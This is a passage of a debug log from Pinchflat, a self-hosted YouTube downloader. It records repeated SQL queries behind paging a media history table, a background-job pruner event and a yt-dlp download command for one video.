m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 20] 22:04:15.800 [debug] QUERY OK source="sources" db=0.3ms idle=210.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:04:15.800 [debug] Replied in 3ms 22:04:15.948 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 22:04:15.949 [debug] QUERY OK source="media_items" db=0.5ms idle=358.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:04:15.951 [debug] QUERY OK source="media_items" db=1.2ms idle=358.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 15] 22:04:15.951 [debug] QUERY OK source="sources" db=0.2ms idle=153.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:04:15.952 [debug] Replied in 3ms 22:04:16.153 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 22:04:16.154 [debug] QUERY OK source="media_items" db=0.5ms idle=353.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:04:16.155 [debug] QUERY OK source="media_items" db=1.0ms idle=205.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 10] 22:04:16.156 [debug] QUERY OK source="sources" db=0.2ms idle=205.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:04:16.156 [debug] Replied in 3ms 22:04:16.515 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 22:04:16.516 [debug] QUERY OK source="media_items" db=0.6ms idle=564.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:04:16.518 [debug] QUERY OK source="media_items" db=1.0ms idle=449.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 5] 22:04:16.518 [debug] QUERY OK source="sources" db=0.3ms idle=364.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:04:16.519 [debug] Replied in 3ms 22:04:16.825 [debug] HANDLE EVENT "page_change" in Pinchflat.Pages.HistoryTableLive Parameters: %{"direction" => "dec"} 22:04:16.825 [debug] QUERY OK source="media_items" db=0.2ms idle=669.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:04:16.826 [debug] QUERY OK source="media_items" db=0.5ms idle=669.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:04:16.826 [debug] QUERY OK source="sources" db=0.1ms idle=309.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:04:16.826 [debug] Replied in 1ms 22:04:20.224 [debug] HANDLE EVENT "reload_page" in Pinchflat.Pages.HistoryTableLive Parameters: %{"value" => ""} 22:04:20.226 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=163.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:04:20.227 [debug] QUERY OK source="media_items" db=1.1ms idle=164.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:04:20.228 [debug] QUERY OK source="sources" db=0.2ms idle=166.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:04:20.228 [debug] Replied in 3ms 22:04:21.420 [debug] HANDLE EVENT "reload_page" in Pinchflat.Pages.HistoryTableLive Parameters: %{"value" => ""} 22:04:21.421 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=1346.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:04:21.423 [debug] QUERY OK source="media_items" db=1.0ms idle=1196.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:04:21.423 [debug] QUERY OK source="sources" db=0.2ms idle=1196.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:04:21.424 [debug] Replied in 3ms 22:04:28.822 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:04:29.079 [debug] HANDLE EVENT "reload_page" in Pinchflat.Pages.HistoryTableLive Parameters: %{"value" => ""} 22:04:29.080 [debug] QUERY OK source="media_items" db=0.3ms idle=1017.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:04:29.081 [debug] QUERY OK source="media_items" db=0.4ms idle=992.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:04:29.081 [debug] QUERY OK source="sources" db=0.1ms idle=258.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:04:29.081 [debug] Replied in 1ms 22:04:54.698 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=UxiZUsNMQaA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/36/be/36be3fd696f620a06cbdb4fb2520a92e15dffa178931079b6606f3326ba648b5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:04:54.708 [debug] Running yt-dlp command for action: download_thumbnail 22:04:54.708 [debug] QUERY OK source="settings" db=0.0ms idle=1646.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM 